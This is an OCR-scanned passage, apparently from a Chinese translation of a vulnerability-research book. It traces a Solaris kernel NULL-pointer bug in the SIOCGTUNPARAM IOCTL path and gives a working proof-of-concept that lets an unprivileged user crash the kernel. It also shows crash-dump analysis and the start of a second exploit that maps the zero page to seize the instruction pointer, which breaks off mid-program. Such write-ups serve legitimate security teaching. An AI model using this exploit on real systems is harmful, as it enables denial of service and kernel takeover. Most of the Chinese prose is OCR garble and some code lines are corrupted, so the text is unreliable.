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[15] Enhanced Mitigation Experience Toolkit 7] AL F Pt 3548 : http://blogs.technet.com/srd/ archivie/
2010/09/02/enhanced-mitigation-experience-toolkit-emet-v2-0-0.aspx ( 4iithttp://bit.ly/ wackSy )o

[16] #ARX 4~ VLC Wi E 2 & MELUF Ratifs[E . http://www.trapkit.de/advisories/
TKADV2008-010.txt ( % hithttp://bit.ly/xmD9Wm ),

[17] 2 Whttp://cve.mitre.org/cve/identifiers/index.html ( %G Hikhttp://bit.ly/wMSRsu ).
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2001 'F 8 238, o

K—HREEBERG NZFTFR SRR 24, 2000 F 1 B 27 B, Sun 38
PR BT WA AT & AR K, AHEA  Oracle 2 61Ug®3. Ovacle s &
KBFH, BERGE TILMRMERGNEM @ F € Solaris #1j “Oracle
S48 bug, HHELA Sun Solaris HERL, J§ S
BELRET I T,

3.1 ZWEHE

H M 2005 4F 6 F #EH OpenSolaris, Sun 73] 2448 Solaris 10 #2/E RS K
HWAERTIR T, IRAGR PRI, AL, TRERTRTHMAE Y, FFHAMEEN
BIRACHS, EE R SLHMA 238 3 A% 23 [6) (user-to-kernel ) 432 01 {34, Hean
IOCTL MAZ A

..... A B A A Ak e b5

EE A WddEdl (IOCTL) ATRA P ARARAL Ay iEsE, P

L L B RS I 10 AN A MG s




31 RWEHE 25

RERRFWBABORAZ —, WAT  dGecssdihgaa
B R R RS R Ee B P/ hEB0% P b
ATFRERIAT RS (REEN R bug SH RSB O HEG § Cattack
K ). BT I0CTL J/ STocGTUNPARAM Vot - RF R @&

MSEHE, XM Solaris PAZIR{LA IP-in-IP g:‘:zﬁm
BREIEALEI B —F 5y, Q%
KBLIXA Fail 622 Ban 1 Q A&
Q 5—&: FHANEM IOCTL, Q% =#iER:hadF

Q%% PUMAZEE.
QF=2 REMABIE.
PR AR R X P IR

311 ZE—%: LAY IOCTL

RN IOCTL IR T ERE  fEX B, REERBEEERE T HZKEARE,
FERHEAM IOCTL %, B IOCTLHA HCWHS, B EEN ™, B
#% IOCTL WJ25RY, Solaris BB E X TLULFZ:: IO0R, _IOWF1_IOWR, b T %I
X JOCTL, UIHBFACHENBZBERBHYERT, H Unix ¥ grep 4 1#
FIEAG

solaris$ pwd
/exports/home/tk/on-src/usr/src/uts

solaris$ grep -rnw -e _IOR -e _IOW -e _IOWR *

[..]

common/sys/sockio.h:208:#define SIOCTONLINK IOWR('i', 145, struct sioc_addr req)
common/sys/sockio.h:210:#define SIOCTMYSITE TIOWR('i", 146, struct sioc_addr req)
common/sys/sockio.h:213:#define SIOCGTUNPARAM IOR('i', 147, struct iftun_req)
common/sys/sockio.h:216:#define SIOCSTUNPARAM IOW('i"', 148, struct iftun_req)
common/sys/sockio.h:220:#define SIOCFIPSECONFIG IOW('i', 149, 0) /* Flush Policy */
common/sys/sockio.h:221:#define SIOCSIPSECONFIG _IOW('i‘, 150, 0) /* Set Policy */
common/sys/sockio.h:222:#define SIOCDIPSECONFIG 151, 0) /* Delete Policy */
common/sys/sockio.h:223:#define SIOCLIPSECONFIG 152, 0) /* List Policy */

[--]

P7E, RIBB|T Solaris W LIFRY IOCTL ZF3FE., AT 3|4k H X oL
IOCTL BIRACHS 34, RN NZ BRI EXENE IOCTL 4. TH
JB— 82 STOCTONLINK IOCTL B8+,

T0W('i’
TOW('i’

- - - b o -
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solaris$ grep --include=*.c -rn SIOCTONLINK *
common/inet/ip/ip.c:1267: /* 145 */ { SIOCTONLINK, sizeof (struct sioc_add rreq), —

IPI GET CMD,

3.1.2 FETH: RANWMAREE

Solaris W7 IOCTL AbER{E T AR D . SR AP RFAEXHEOR
— /M4 STREAMS HImBEHIAE, BV, STREAMS A2 850 0 R
(stream ), BE— TP ZEHBBIAENBIEEREIER. £ STREAMS EEIG AT
BAEEH A Al HAZE T STREAMS B8, @HEAFBUTITE: — 1 HiEZ
WX, — RS, DER—MEER, %8B83 KRAFEPAEMEN S ELBEN
M7, BAEBR (datab 450 ) HEARXNMEIEE WX, %85 (msgb G54 ) HiRX
ABAE R LA R BE 2 anfer {5 A A4

HEREWAE T ARG,

BB H  uts/common/sys/stream.h ©)
[..]

367 /*

368 * Message block descriptor
369 */

370 typedef struct msgh {
371 struct msgb *b_next;
372 struct msgb *b_prev;

373 struct msgb *b_cont;
374 unsigned char *b_xptr;
375 unsigned char *b_wptr;
376 struct datab *b_datap;
377 unsigned char b_band;
378 unsigned char b_tag;
379 unsigned short  b_flag;
380 queue_t *b_queue; /* for sync queues */
?ﬂi } mblk_t;
-

ZEMARRR b_rptr A b wptr $55E b_datap $5435 5] FOEHE S b X A AT 1L
BiE (WE3-1),

/] STREAMS #AIRf, IOCTL HIRIABER msgb S5tk (ERFRHAA
mblk_t) B b_rptr B.A5If. STREAMS A B Ib—EEHREST BTEN
S840 8.3k (linked message block ). &1 STREAMS Programming Guide B iR,
“[—RERBHB TRV MEEE B RA . MRENX K/ NER, REERF
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VRTHEKE, HEPRSEESMEESR.” (WA 3-2.)

b_datap
}
datab
lﬂ) db_base
AR b (=
b_wptr

=
db_lim
.&_—

A 3-1 —EI#AY STREAMS jH Bk

b_cont b_cont
mblk_t = mblk_t —> mblk_t
dblk_t dblk_t dblk_t
MG WARE S X WBE DX

B 3-2 48R STREAMS i B3k

3.1.3 FE=H. REMAKE

RIGREH X TR IOCTL FIRITIHH ENF . MEF—F, RENGEE I AN
ABHE, RE R EHHR D FRAER JVME, B T XA

BRI uts/common/inet/ip/ip.c

E¥  ip process ioctl()®

[..]

26692 void

26693 ip process ioctl(ipsq_t *ipsq, queue_t *q, mblk_t *mp, void *arg)
26694 {
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[..
:[:573.1 ci.ci_ipif = NULL;
]
26735 case TUN_CMD:
26736 /*
26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif
26739 */
26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
[--]

%A SIOCGTUNPARAM IOCTL 3K &£ B A% HT, eR¥L ip_process_ioctl()
B, % 2671747, ci.ci_ipif WEERHN NULL, B4R SIOCGTUNPARAM
IOCTL @, FrLAE#EIFT switch case 1&H) TUN_CMD ( W% 2673517 ), WA
PR¥L ip_extract_tunreq() ( W58 2674017 ),

BB H uts/common/inet/ip/ip_if.c
¥ ip extract_tunreq() !

[..]
8158 /*

8159 * Parse an iftun_req structure coming down SIOC[GS]TUNPARAM ioctls,
8160 * refhold and return the associated ipif

8161 */

8162 /* ARGSUSED */

8163 int

8164 ip extract_tunreq(queve t *q, mblk_t *mp, const ip_ioctl_cmd_t *ipip,
8165 cend_info t *ci, ipsq_func_t func)

8166 { .

8167 boolean t exists;

8168 struct iftun_req *ta;

8169 ipif_t *ipif;

8170 ill t *ill;

8171 boolean t isvé;

8172 mblk_t *mp1;

8173 int error;

8174 conn_t *connp;

8175 ip_stack_t *ipst;

8176

8177 /* Existence verified in ip wput_nondata */

8178 mpl = mp->b_cont->b_cont;
8179 ta = (struct iftun_req *)mpi-»b_xptr;

8180 /*

8181 * Null terminate the string to protect against buffer
8182 * overrun. String was generated by user code and may not
8183 * be trusted.

8184 */

8185  ta->ifta_lifr name[LIFNAMSIZ - 1] = '\0';

8186

8187 connp = Q_TO_CONN(q);
8188 isv6 = connp->conn_af isvé;



8189
8190
8191
8192
8193
8194

[..]
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ipst = connp->conn_netstack-»>netstack_ip;

/* Disallows implicit create */

ipif = ipif lookup_on_name(ta->ifta_lifr_name,
mi_strlen(ta-»>ifta_lifr_name), B _FALSE, &exists, isvé,
connp- >conn_znne1d EUNHP_TD_HQ(cnnnp), mp, func, &error, ipst);

5 8178 475 T —/Mk#EA0 STREAMS 588k, B T4 817917, I #H
# IOCTL BB E ALK ta, Z 5, A RE ipif lookup on name()( WL25 8192
17 )o BRE ipif_lookup_on_name () HIHT I SOk A 45#04K ta H a9 P HIEBHE.

ERREHE  uts/common/inet/ip/ip_if.c

K% ipif_lo okup_on_name()

[..]

19116 /*

19117 * Find an IPIF based on the name passed in. Names can be of the
19118 * form <phys> (e.g., le0), <phys>:<it> (e.g., le0:1),

19119 * The <phys> string can have forms like <dev><#> (e.g., le0),
19120 * <dev><#>.<module> (e.g. le0.foo), or <dev>.<module><#> (e.g. ip.tun3).
19121 * When there is no colon, the implied unit id is zero. <phys> must
19122 * correspond to the name of an ILL. (May be called as writer.)
19123 */

19124 static ipif t *

19125
19126
19127
19128
[..]

19138
19139
[..]

19154
19155
19156
19157
19158
19159
19160
19161
19162
19163
19164
19165
19166
19167
19168
19169
19170
19171
19172

ipif lookup on_name(char *name, size t namelen, boolean_t do alloc,

{

boolean_t *ex15t5 boolean t 15v6 zoneid t zoneid, queue_t *q,
mblk_t *mp, ipsq_ func _t func, int *error, ip_stack_t *ipst)

NULL)
0;

if {(error !
*arror

/* Look for a colon in the name. */
endp = &name[namelen];
for (cp = endp; --cp > name; ) {
if (*cp == IPIF_SEPARATOR_CHAR)
break;

}
if (*cp == IPIF_SEPARATOR CHAR) {

Reject any non-decimal aliases for logical
interfaces. Aliases with leading zeroes

are also rejected as they introduce ambiguity
in the naming of the interfaces.

In order to confirm with existing semantics,
and to not break any programs/script relying
on that behaviour, if<0>:0 is considered to be
a valid interface.

* W W W X R O X O R X

If alias has two or more digits and the first
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19173 * is zero, fail.

19174 */

19175 if (&cp[2] < endp 8& cp[1] == '0')
19176 return (NULL);

19177  }

[..]

% 1913947, error FMEBIEEEL N 0. RIGFESE 19161 17, Kt IR
IOCTL ¥R itz 1 4 254 § S ( IPIF_SEPARATOR_CHAR & X A—T1B = )
MRAREOLDRIE S, @5 FHNTFAEEM O RZ, MR- AEHH
BB LA _E 3T B — R 0 (ASCH F#4F 0 s H/N#E/I#Y) 0x30, I
% 1917547 ), PR ipif lookup on name()i& [ pREX ip_extract_tunreq(), 1&[F
{3 NULL, TiTZER exror BUEAT A 0 ( AR 19139 47HI5E 1917647 ),

BRI  uts/common/inet/ip/ip_if.c
R ip_extract _tunreq()
[..]

8192 ipif = ipif lookup_on_name(ta-»>ifta_lifr_name,

8193 mi_strlen(ta->ifta lifr name), B_FALSE, 8exists, isvé,

8194 connp->conn_zoneid, CONNP_TO wQ(cnnnp), mp, func, &errur, ipst);
8195 if (ipif == NULL)

8196 return (error);

[-.]

&R ip extract tunreq(), IR ipif_lookup_on_name()iR[7] NULL, #&
Ef ipif #4 NULL ( JL3E 8192717 ). M ipif & NULL, 5% 81954THJ if 1B/ [H]
TRUE, $hA7%E 8196 4T, BR¥ ip_extract_tunreq()i&[F1 % ip_process_ioctl(), iR
[M1{H error {134 0.

RACTEICY  uts/common/inet/ip/ip.c

E ¥ ip_process_ioctl()

[..]
26717 ci.ci_ipif = NULL;

[..]

26735 case TUN_CMD:

26736 /*

26737 * SIOC[GS]TUNPARAM appear here. ip extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif

26739 */

26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
26741 if (err != 0) {

26742 ip ioctl finish(q, mp, err, IPI2MODE(ipip), NULL);
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26743 return;

f6??4 }

2é'38 err = (*ipip-»ipi_func)(ci.ci_ipif, ci.ci_sin, q, mp, ipip,
26789 ci.ci lifr);

[..]

FrRE ip_process_ioctl(), 4 ip extract_tunreq():R[EHER 0 ( W55 26740
£7), AR err BEIE N 0, XK err FF 0, 2 26741 171y if 1B/ 8] FALSE,
55 26742 1 26743 FTRAPIT. 5 26788 17, ipip->ipi_func FE MR (X B
FeR¥ ip_sioctl_tunparam()) B, B— 1S ci.ci_ipif V3R E R NLL( L
5 2671717 )o

BERFEXH  uts/common/inet/ip/ip_if.c
K¥ ip_sioctl _tunparam()

[..]

9401 int

9402 ip_sioctl tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp,
9403 ip_ioctl cmd_t *ipip, void *dummy ifreq)

9404 {

[..]
9432 ill = ipif->ipif ill;

[--]

B PR¥ ip sioctl tunparam() B —SBE NULL, 5 9432 75| H
ipif->ipif ill A[F/RM NULL->ipif ill, XR— RIS ILE W5 H. Wk
XIS MR, BIORGEHESE WS IR (kemel panic) MR
(B XTI FESI ANGER A2F,)

FHACAIE, BREBEWT,
Q — Solaris & ZEHAEFFAUH P (unprivileged user ) 7] LA#E F§ STOCGTUNPARAM
IOCTL ( WA 3-3 FHI(1) )o
Q R MEL N IOCTL B On Tt ( KP2Ha -1 0248
HBSIHERFH o I—MEBEFE), k= Hims A (WE
3-389(2)), MNmEH RSB (WLHE 3-3 F8I3) )
BRI 2XMEME SRR HR? PURESPEMAEBERFIBTXN
bug?
M) H#E ipif lookup_on_name() ¥ i Bif M HAR RSB HHER B EHH
F 8o
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XA bug HIFETERRS R & sR 3 ipif lookup_on_name ()il i i 2% AN [R) B 42 [6)
‘B HE R B TRRE  # R EAR [B1{E( return (null) LA R@ i AE B error
(*error != 0). WK eREET, AZRARBKER LT NERRE
HIEFIR B B7E R R B IETRE (evaluate ), XHHRERS L4, HEA
HEFE X AN A BRI B T T R M X AR X A o 7 A 1t 288 [m] R AR 5751 F o

d i3
Ar.
eartucerame | | SCCTTURRARAM | )/
(1) v
NULL->ipif ill

A 33 BHANIENSERES, £ Solaris AEH, — MM ERRUH,
] fh & 25 FEEHE S | T 520 AR G5 i vt

RS  uts/common/inet/ip/ip_if.c
B¥ ipif lookup _on name()
[.-]

19124 static ipif t *

19125 ipif lookup_on_name(char *name, size t namelen, boolean_ t do alloc,
19126 boolean t *exists, boolean t isv6, zoneid t zoneid, queue t *q,
19127 mblk t *mp, ipsq_func_t func, int *error, ip stack t *ipst)
19128 {

[..]

19138 if (error != NULL)

19139 *erYOr = 0;

[..]

19161  if (*cp == IPIF_SEPARATOR CHAR) {

19162 /*

19163 * Reject any non-decimal aliases for logical

19164 * interfaces. Aliases with leading zeroes

19165 * are also rejected as they introduce ambiguity

19166 * in the naming of the interfaces.

19167 * In order to confirm with existing semantics,

19168 * and to not break any programs/script relying

19169 * on that behaviour, if<0>:0 is considered to be
*

19170 a valid interface.
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19171 *

19172 ¥ If alias has two or more digits and the first
19173 * is zero, fail.

19174 */

19175 if (&cp[2] < endp && cp[1] == '0")

19176 return (NULL);

19177  }

[..]

55 1913917, MFERIREZ — 7R error [HERERN 0. FHiIFRAE 0 Bk
EIHRAIEBRARESHIR,. EREOZATRME—ANBEESHFERFRF 0 A—MEE
BT, KBRS 19176 TR, MMFE TR EIEARRE A& R7EREER
PR error WA B NARANEIRRE ., Bl ipif lookup _on name()i& [E1 E
ip_extract_tunreq()Rt error BI{EASH 0,

BAREXH  uts/common/inet/ip/ip_if.c
F¥  ip extract _tunreq()

[..]

819 ipif = ipif lookup on_name(ta-»ifta lifr name,

8193 mi strlen(ta->ifta lifr name), B FALSE, Bexists, isvé,

8194 connp->conn_zoneid, CONNP_TO WQ(connp), mp, func, &error, ipst);
8195 if (ipif == NULL)

8196 return (error);

[..]
[B] 2| & $ ip extract tunreq(), FE1RNRZIREIZ TR IEHKE ip process
ioctl() ( W28 8196 17 ),
BRI uts/common/inet/ip/ip.c
B ¥ ip process_ioctl()

[..]
26735 case TUN_CMD:

26736 /*

26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif

26739 */

26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
26741 if (exr != 0) {

26742 ip ioctl finish(q, mp, err, IPI2MODE(ipip), NULL);

26743 return;

) }

26788 err = (*ipip->ipi func)(ci.ci_ipif, ci.ci sin, q, mp, ipip,

26789 ci.ci_lifr);

[..]
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SRJGTE ip_process_ioctl()RE(H, FRREVRN 0. I, 5 26741 17HY
if iB/ARE] FALSE, WEZBRZEAT RBIBIARTTST, 3 ip_sioctl_tunparam()
PREP RIS TR EHRS | .

ZAEER— bug Kd!

A 3-4 B4 T XNZEHREHET I bug R RBIAAX R,

(2) (2)

ip_process_ioctl() | T ip_extract_tunreq() ': ipif_lookup_on_name()
l (s) (4 (3)
ip_sioctl_tunparam()
l ()
TisvM sl A

/34 PR AL SRS | bug B R RBGREXE R, BEHHM
B A IGU

3.2 ®RAFE

FIAXA bug BN AHBIHIBEIR . =464 + ¥ PRERDESE
3 R BT ERATRUARAS, BRMBATE  Solaris 10 10/08 x86/x64 DVD
W TR I TR RAERAmIGT, T L COMUE R (oo
T, SSE FR R, ETTRURA o s D S0
P, 1R SEAE BRI BT . )

% T HFRARR, RIGTLF SR,

(1) XA RS, PRI .

(2) FIHFHAFFEH EIPRIP,

321 F—¥: MEXITIES#ESIH, TMIERERS
AT RS HESIFH, BE T UTHESRIEARE (RARRER 3-1),

REEE 31 BEEWULITES, FRARRTE Solaris A BHZSFE4H##5 | bug (poc.c)

01 #include <stdio.h>
02 #include <fcntl.h>
03 #include <sys/syscall.h>
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04 #include <errno.h>
05 #include <sys/sockio.h>
06 #include <net/if.h>

07

08 int

09 main (void)

10 {

11 int fd = 0;

12 char data[32];

13 .

14 fd = open ("/dev/arp”, O_RDWR);

15 .

16 if (fd < 0) {

17 perror ("open”);

18 return 1;

19 }

20

21 // TOCTL data (interface name with invalid alias ":01")
22 data[o] = ox3a; // colon

23 data[1] = 0x30; // ASCII zero

24 data[2] = ox31; // digit 1

25 data[3] = O0x00; // NULL termination
26

27 // TIOCTL call

28 syscall (SYS ioctl, fd, SIOCGTUNPARAM, data);
29

30 printf ("poc failed\n");

31 close (fd);

32

33 return 0;

34 }

X Bt POC RESFHTFF N A% i R 2518 & /dev/arp( AR 14 47 ). B & /dev/tep
F/dev/udp % 37 #F STOCGTUNPARAM IOCTL, B tERAT LA /dev/arp, T3k,
WE2S IOCTL BUE (W28 22 1725 2517 )o A TR 4 01 B 1 25 40 A Ao 3
b TiX4 bug, F5, VEH SIOCGTUNPARAM IOCTL, ¥ IOCTL UE KA N
# (W5 2817 )

SRIGTE 64 (LI Solaris 10 R4 E4wiFH LA — T HER AU P B 433X 4~ POC
BF.

solaris$ isainfo -b
64

solaris$ id

uid=100(wwwuser) gid=1(other)

solaris$ uname -a

SunOS bob 5.10 Generic_137138-09 i86pc 1386 i86pc

solaris$ /usr/sfw/bin/gcc -m64 -o poc poc.c

solaris$ ./poc
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ARG X ER . Bi5)5, F root S43% % IFTE Solaris Modular Debugger
(mdb) BB T RAEARRBCE (LTS rmiEmifR e B.1 3 ),

solaris# id
uid=0(root) gid=0(root)

solaris# hostname
bob

solaris# e¢d /var/crash/bob/

solaris# 1s
bounds unix.o vmcore.0

solaris# mdb unix.0 wvmcore.o

Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc pcplusmp ufs ip
hook neti sctp arp usba fcp fctl nca lofs mpt zfs random sppp audiosup nfs ptm md
cpc crypto fcip logindmux ]

R imsgbuf X4 EREEEWMXKHWAE, GfFAERRZITHAERE
HEHE

> ::msgbuf
.o
panic[cpuo]/thread=ffffffff87d143a0:
BAD TRAP: type=e (#pf Page fault) rp=fffffe8000f7e5a0 addr=8 occurred in module "ip"

due to a NULL pointer dereference

poc:
#pf Page fault

Bad kernel fault at addr=0x8

pid=1380, pc=oxfffffffff6314c7c, sp=oxfffffe8oo0f7e690, eflags=0x10282
cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6bO<xmme,fxsr,pge,pae,psed

cr2: 8 cr3: 21a2a000 cr8: c

rdi: 0 rsi: fHHfffff86bco700 rdx: FFffffffB6bcO9CB
rcx: 0 1r8: fffffffffbdofdf8 r9: fffffe8o00f7e780
rax: c rbx: fFffffff883ff200 rbp: fffffeBooof7ebdo
rio: 1 r11: 0 ri2: fffffff8661¥f380
ri3: 0 r14: FHFFFfFf8661f380 ras: fFffffffB19fsbao
fsb: fffffd7fff220200 gsb: fffffffffbca7fco ds: 0
es: 0 fs: ibb gs: 0
trp: e err: 0 rip: fFfffffff6314c7c
cs: 28 rfl: 10282 rsp: fffffe8ooof7e690
SS: 30

FHfffeBo00f7e4b0 unix:die+da ()
fffffe8000f7e590 unix:trap+5e6 ()
tf+ffeBooof7e5a0 unix: cmntrap+140 ()
fffffe8000f7e6do ip:ip_sioctl_tunparam+5c ()
fHfffe8000f7e780 ip:ip process_ioctl+280 ()
fffffe8000f7e820 ip:ip_wput_nondata+970 ()
fffffe8ooof7e910 ip:ip_output_options+537 ()
fffffe8000f7€920 ip:ip output+10 ()
fFf+fe800017e940 ip:ip wput+37 ()
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fffffe8o00f7e9a0 unix:putnext+1fi ()
fHfffeBo00f7e9d0 arp:ar wput+9d ()
fffffe8000f7ea30 unix:putnext+1fi ()
tffffe8000f7eab0o genunix:strdoioctl+67b ()
fFfffe8000f7eddo genunix:strioctl+620 ()
fffffe8o00f7edf0 specfs:spec ioctl+67 ()
fffffe8000f7ee20 genunix:fop_ioctl+2s ()
fffffe8000f7ef00 genunix:ioctl+ac ()
fffffe8000f7ef10 unix:brand sys syscall+2id ()

syncing file systems...

done
dumping to /dev/dsk/c0dos1, offset 107413504, content: kernel

AN B, AEERKFAERE R THiat oxfffffffff6314c7c AbHIZ
YeEHS A (UL RIP FEEMIME ). TR, ibAE:S BRI HHE A HIFES

> OxFFfffffff6314c7c::dis

ip_sioctl_tunparam+0x30: jg +oxf0  <ip_sioctl_tunparam+0x120>
ip_sioctl_tunparam+0x36: movq  Ox28(%ri2),%rax

ip sioctl tunparam+0x3b: movq Ox28(%rbx),%rbx

ip sioctl tunparam+0x3f: movq %r12,%rdi

ip sioctl tunparam+0Ox42: movb  $0xe,0x19(%rax)

ip sioctl tunparam+0x46: call +0x5712cfa . <copymsg>

ip sioctl tunparam+0x4b: movq  Arax,%ris

ip sioctl tunparam+Ox4e: movl  $0xc,%eax

1p_51octl _tunparam+0x53: testq *%ris,%ris

ip_sioctl_tunparam+0x56: je +0x9d <ip_sioctl tunparam+0xf3>
ip _sioctl tunparam+Ox5c: movq Ox8(%ri3),%ri14

[..]

HAT R H ip_sioctl tunparam+Oxsc Hbuhib4bHIFE4 movq Ox8(%r13),%r14 T3
o X I8 T | I FAAEE r13 f5 mAE, IEANTAARE : :msgbuf apS T HY% Y
B~ , RG R 113 F{ERE 0, BrLUX SR 4ida S BN T ip_sioctl_tunparam()
R RS R A (LTSRS 943247 ).

BXH3ZF  uts/common/inet/ip/ip_if.c

A% ip sioctl tunparam()

[-.]

9401 int

9402 ip sioctl tunparam(ipif t *ipif, sin_t *dummy sin, queue_t *g, mblk_t *mp,
9403 ip_ioctl cmd t *ipip, void *dummy ifreq)

940?{

[..

9432 ill = ipif-»ipif_ill;

[..]




38 | #3FE BPXERE

HEEWRIX bug A LA —MEERAUH PRI RDFE R G . BONFRA
# Solaris X4 ( Solaris Zones ) ILFE[F— 1N, WAl REHEHRENRE (1A
R ) A, BPMEEX AR R AR —EERRL AR 2R Kb k% (KT Solaris
Zones X EARMELZEHI C3 ). WRBHENEERMA, ETEEH] Solaris
Zones 73 X F AR BIFEE IR 55 (L0 R AR AT HEAZ 2B KB 20 o

3.22 EZ-¥:. FHAETNRNFLS EIP/RIP

REERGHMZ G, RvEZlEEANIIT. Nk, DRI A
(] R

0 2544185 | Ffah & bt BELIE RS0 % 5

Q $i| EIP/RIP,

AR RS s  HS B, EF T (8 NULL 71 ) WA A
M, S|SB T ARV, ARG (A2 ), AMIERG A,
TR RSB S HZ AT T NT . XTE x86 1 AMD64 KR4 L
RAEZ MR, EATEXLYH | Solaris HEHERE A bk 25 18] 4 A 4. FH P
zsRIFN B (JLE 3-5), FiA RPN ARFEITER 2R, AEUEN
B (BIanIREhENT ) BITENZZSE. SR, AEFHFRA AP 28 R EA
BESET k-

® O hE kRS FamGERH
OxFFFFFFFF.FFFFFFFF
- hlEE hTa
OxFFFFFD&0.00000000
M EE® MEE®LE
ik 23619 i I E A
HPTe AP TE
I-"’) A I 0x00000000.00000000

/

7
HEHETRG Aol HEIaTUMG (2aRED

4o ¥

B 3-5 —AEERAYHEIHbhEZS A (64 {i Solaris x86 ) '
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FE SN ESAEGR P AWK TR R E—, AT R AR AR
¥y, N4 P us NULL AR ARAN 342 69 3 b 5 9] Rwk 4,

Ef R SRS Z AT F NN, sEESERHIE RG AT . T —1 A&
J&: WMaresEd] EIP/RIP? FATREFERIAIEHE R A F A NI IOCTL ¥R MiZ4h it
BEAPZEEEE, SEFINF. FEERIHME—FERIENET | AFRETR
WAF L RBEE, e iX s34 AT R R 2 AP TI . BRAEXN T EEATREATT,
HEEE T .

IRACES3CHE  uts/common/inet/ip/ip_if.c
R¥  ip sioctl tunparam()

(..]

9401 int

9402 ip sioctl tunparam(ipif t *ipif, sin_t *dummy sin, queue t *q, mblk t *mp,
9403 ip ioctl cmd t *ipip, void *dummy ifreq)

9404 {

[..]

9432 ill = ipif->ipif_ill;

9433 mutex_enter(&connp->conn_lock);

9434 mutex_enter(&ill->ill _lock);

9435 if (ipip->ipi cmd == SIOCSTUNPARAM || ipip->ipi cmd == OSIOCSTUNPARAM) {

9436 success = ipsq_pending mp_add(connp, ipif, CONNP_TO WQ(connp),
9437 mp, 0);

9438 } else {

9439 success = ill pending mp add(ill, connp, mp);
9440 }

9441 mutex exit(&ill-»>ill lock);

9442 mutex_exit(&connp->conn lock);

9443

9444 if (success) {

9445 ip1dbg(("sending down tunparam request "));
9446 putnext(ill-»>ill_wq, mp1);

[..]

X ipif BOOREIEA NULL B, 58 9432 fr kAT REH#ESIHE, XS T RE%AH
. HRIMREREHSIBZAG TERNE, RASEXERVE, R
GHRASHRET . Mk, NEFEITAFSIH T ARWAAPEREEZ G, 111 4
AERERUSEE ., A, @SdFamEF I AFRdE, ST i11 Sk
A R A KE, RIBEIHEIL, 5 9446 1T T sR%K putnext(), ¥z —R
X AP & H BEERY i11->111 wq.
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B Y  uts/common/os/ip/putnext.c
¥ putnext () UM

[-.]

146 void

147 putnext(queue_t *qp, mblk_t *mp)
148 {

[..]

15 int (*putproc)();
[..]

17 qp = qp->q_next;

177 5q = qp->q_syncq;

178 ASSERT(sq 1= NULL);

179 ASSERT(MUTEX_NOT HELD(SQLOCK(sq)));
%30] qi = gp->q_ginfo;

26 /*

269 * We now have a claim on the syncq, we are either going to
270 ¥ put the message on the syncq and then drain it, or we are
271 * going to call the putproc().

272 */

273 putproc = qi-»>qi_putp;
274 if (!queued) {

275 STR_FTEVENT_MSG(mp, fgp, FTEV_PUTNEXT, mp->b rptr -
276 mp->b_datap->db_base);
27 (*putproc)(qp, mp);

[..]

AP A] LASE 28| eR X putnext()SE— NS EHEHE, XEWRE qp. sq f qi
H{EARAR AT LUE I T N AR S R B R (LS8 176, 177 F1 180 47 ), Hk4F,
FPEEEFISE 154 7R A RERIE B0 (W38 27347 ), 25, 8B 27747 AT

XA eREHEF

B, BEIRUL, R OMET TANFRBRSTEBEE, BT DU H— 1 R
fREr, Mim>E2# s EIP/RIP, TEABEEALIERREHNT,

BRI 89 POC RS2 H EIPRIP,

REFR 3-2 AR EIPRIP, ATIZENBEHSEHAEBAISHATH POC

K15 (poc2.c)

01 #include <string.h>

02 #include <stdio.h>

03 #include <unistd.h>

04 #include <fcntl.h>

05 #include <sys/syscall.h>
06 #include <sys/sockio.h>
07 #include <net/if.h>

08 #include <sys/mman.h>

09
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11 // Map the zero page and fill it with the

12 // necessary data

13 int

14 map null page (void)

15 {
16
17
18 -
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

54
55
56
57
58
59
60
61
62
63
64
65
66 }

void * mem = (void *)-1;

// map the zero page
mem = mmap (NULL, PAGESIZE, PROT_EXEC|PROT READ|PROT_WRITE,
MAP_FIXED|MAP PRIVATE|MAP ANON, -1, 0);

if (mem != NULL) {
printf ("failed\n");
fflush (0);
perror ("[-] ERROR: mmap");
return 1;

}

// fill the zero page with zeros
memset (mem, Ox00, PAGESIZE);

LHETEETRITIP I LET i it iiiintdiriiiiineeies
/! zero page data

// qi-»qi_putp

*(unsigned long long *)0Ox00 = 0x0000000041414141;
/7 ipif->ipif_ill
*(unsigned long long *)0x08 = 0x0000000000000010;

// start of ill struct (ill-»ill ptr)
*(unsigned long long *)0x10 = 0x0000000000000000;

/1 ill->1q
*(unsigned long long *)0x18 = 0x0000000000000000;

// 111->wq (sets address for gp struct)
*(unsigned long long *)0Ox20 = 0x0000000000000028;

// start of gp struct (gp->q_info)
*(unsigned long long *)Ox28 = 0x0000000000000000;

// qgp->q_first

*(unsigned long long *)0x30 = 0x0000000000000000;
/1 qp->q last
*(unsigned long long *)0x38 = 0x0000000000000000;

// qp->q_next (points to the start of gp struct)
*(unsigned long long *)Ox40 = 0x0000000000000028;

// qp->q _syncq
*(unsigned long long *)0xa0 = 0x00000000000007d0;

return 0;
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42 | £3E RBEXERE

67

68 void

69 status (void)

70 {

71 unsigned long long 1 = 0;

72

73 printf ("[+] PAGESIZE: %d\n", (int)PAGESIZE);

74 printf ("[+] Zero page data:\n");

75

76  for (i = 0; i <= Ox40; i += Ox8)

77 printf ("... Ox%02x: 0x%01611x\n", i, *(unsigned long long*)i);
78

79 printf ("... 0xa0: 0x%01611x\n", *(unsigned long long*)0xa0);
80

81 printf ("[+] The bug will be triggered in 2 seconds..\n");
82

83 fflush (0);

84 }

85

86 int

87 main (void)

88 {

89 int fd = 0;

90 char data[32];

01

92 S/ i
93 // Opening the '/dev/arp' device

94 printf ("[+] Opening '/dev/arp' device .. ");

95

96 fd = open ("/dev/arp”, O RDWR);

97

98 if (fd < 0) {

99 printf ("failed\n");
100 fflush (0);
101 perror (“[-] ERROR: open");

102 return 1;

103}

104

105  printf ("OK\n");

106

107 SIHHITEHTEEEEEH T EE R T E LR R LT
108 // Map the zero page

109 printf ("[+] Trying to map zero page .. ");

110
111 if (map _null_page () == 1) {
112 return 1;
113}

114

115  printf ("OK\n");

116

